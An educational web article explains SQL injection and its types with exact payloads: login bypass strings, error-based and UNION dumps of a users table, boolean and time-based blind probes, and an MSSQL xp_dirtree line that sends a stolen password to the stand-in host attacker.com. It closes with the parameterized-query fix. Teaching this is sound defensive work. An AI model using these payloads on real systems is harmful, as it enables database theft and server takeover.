SQL Injection Explained

A bug from the 1990s that still leaks databases today. The whole thing comes down to one idea: making the app read your input as instructions. Let’s build it from zero — then walk every type, with the exact payloads.

A bug from the 1990s that still leaks databases today. The whole thing comes down to one idea: making the app read your input as instructions. Let’s build it from zero — then walk every type, with the exact payloads.

6 min read Visual + payloads What the DB sees

You fill in a login form — a username, a password — and hit enter. Behind the scenes, the app takes what you typed and glues it into a sentence written in a language the database speaks: SQL. That sentence is the query. SQL injection is what happens when the characters you type stop being treated as data and start being treated as part of the sentence itself. Type the right symbols and you’re no longer answering the query — you’re rewriting it. Watch it happen:

So, what is SQL injection — really?

A database query is just a sentence. A normal login query looks like this, with your input dropped straight into the middle of it:

how the app builds the query (the bug)
# the app literally concatenates your text into the SQL string
query = "SELECT * FROM users WHERE user='" + input + "' AND pass='" + pw + "'"

See the problem? Your input lands inside the quotes. So what if your input contains a quote? You’d close the string early, and everything after it gets read as live SQL. That single character — ' — is the entire foundation of the attack.

The classic: walking past the login

Put ' OR '1'='1 in the username box. The query the database actually receives becomes:

what the database runs
SELECT * FROM users WHERE user='' OR '1'='1' AND pass='...'
                              ↑ your quote closed the value — the rest is now CODE

# '1'='1' is always true → the WHERE matches every row → first user returned

Even cleaner: type admin'-- . The -- starts a SQL comment, so the entire password check is crossed out and ignored — you’re logged in as admin with no password at all.

comment out the password
SELECT * FROM users WHERE user='admin'-- ' AND pass='...'
                                       ↑ everything after -- is ignored

How many types are there?

People say “SQL injection” like it’s one thing, but the technique changes completely based on one question: does the app show you anything back? That splits SQLi into three families. Here are the main four in motion, then we’ll do each with payloads:

Family 1 — In-band (the answer comes straight back)

Error-based. You send a deliberately broken payload that forces the database to throw an error — and you make that error contain your stolen data. It only works if the app shows DB errors, but when it does, it’s instant.

error-based — MySQL
# payload
' AND extractvalue(1, concat(0x7e, (SELECT version())))-- 

# the DB error literally prints it back:
ERROR 1105: XPATH syntax error: '~8.0.32-MySQL'

Union-based. The UNION keyword bolts a second SELECT onto the first, and its rows render right where the page showed the original data. First you find how many columns the query has, then you dump whatever you want.

union-based
# 1) find the column count
' ORDER BY 3--             # works… ' ORDER BY 4-- → error, so 3 columns
# 2) dump the users table into the page
' UNION SELECT username, password, NULL FROM users-- 

admin   $2y$10$Q9…hashed
root    5f4dcc3b5aa765d61d8327deb882cf99

Family 2 — Blind (nothing visible — you infer it)

Boolean-based. The app shows no data and no errors, but it reacts differently to a true vs a false condition — maybe the page loads, maybe it doesn’t. So you ask it yes/no questions and read its body language, one character at a time.

boolean blind
' AND 1=1--    # page looks normal   → TRUE
' AND 1=2--    # page changes/blank  → FALSE

# now ask real questions, bit by bit:
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- 

Time-based. When even the page won’t change, you turn the database’s own clock into your output channel: tell it to pause if your guess is right.

time-based blind
' AND IF(SUBSTRING(version(),1,1)='8', SLEEP(5), 0)-- 

# response takes 5s → condition was TRUE
# response is instant → FALSE.  Slow, but works fully blind.

Family 3 — Out-of-band (OOB)

When the answer can’t come back through the page at all, you make the database itself phone home — open a DNS or HTTP request to a server you control, with the stolen data baked into the request. Common on MSSQL/Oracle where in-band is blocked:

out-of-band — MSSQL DNS exfil
'; exec master..xp_dirtree '\\'+(SELECT TOP 1 pass FROM users)+'.attacker.com\x'-- 
# the DB does a DNS lookup for  .attacker.com  — you read it in your logs

Here’s the part that ties it all together: in every one of these, the database isn’t “hacked.” It’s doing its job perfectly — running the one final SQL string it was handed. It simply can’t tell which characters came from the developer and which came from you. That blindness is the vulnerability.

What this actually gets an attacker

Far more than a login bypass. Once you can run SQL, you can usually: dump the entire database (users, password hashes, emails, cards), read server files (LOAD_FILE('/etc/passwd')), write files (INTO OUTFILE to drop a webshell), and on misconfigured servers, run OS commands (xp_cmdshell on MSSQL). A single injection point can become full server takeover.

The fix (and it’s a clean one)

You don’t “escape harder.” You stop mixing data and code in the first place. Parameterized queries (prepared statements) hand the database the query template and the values separately — so your input is only ever treated as a value, never as SQL. There is no quote to break out of, because the input never touches the sentence.

vulnerable vs safe
# ✗ vulnerable — input becomes part of the SQL
db.query("SELECT * FROM users WHERE user='" + input + "'")

# ✓ safe — query and data sent separately, input can't be code
db.query("SELECT * FROM users WHERE user = ?", [input])
The habit that kills SQLiParameterize every query — no exceptions, no string-building with user input. Back it up with a least-privilege DB account (so a leak can’t drop tables) and a WAF as a net, not a fix.

The types at a glance

TypeData in the response?Example payloadSpeed
Error-basedYes — inside the errorextractvalue(1,concat(...))Fast
Union-basedYes — in the page' UNION SELECT u,p FROM users--Fast
Boolean blindNo — infer from page' AND 1=1-- / 1=2--Slow
Time-based blindNo — infer from delay' AND SLEEP(5)--Slowest
Out-of-bandNo — comes via DNS/HTTPxp_dirtree '\\…attacker.com'Varies
The whole pointSQL injection = the app reading your input as SQL code, because it glued your text straight into the query. One ' breaks out; OR '1'='1 or -- rewrites the logic. If the app shows results it’s in-band (error / union); if not, you go blind (boolean / time) or out-of-band. The database runs it all faithfully — which is exactly why parameterized queries are the only real fix.
Reactions

Related Articles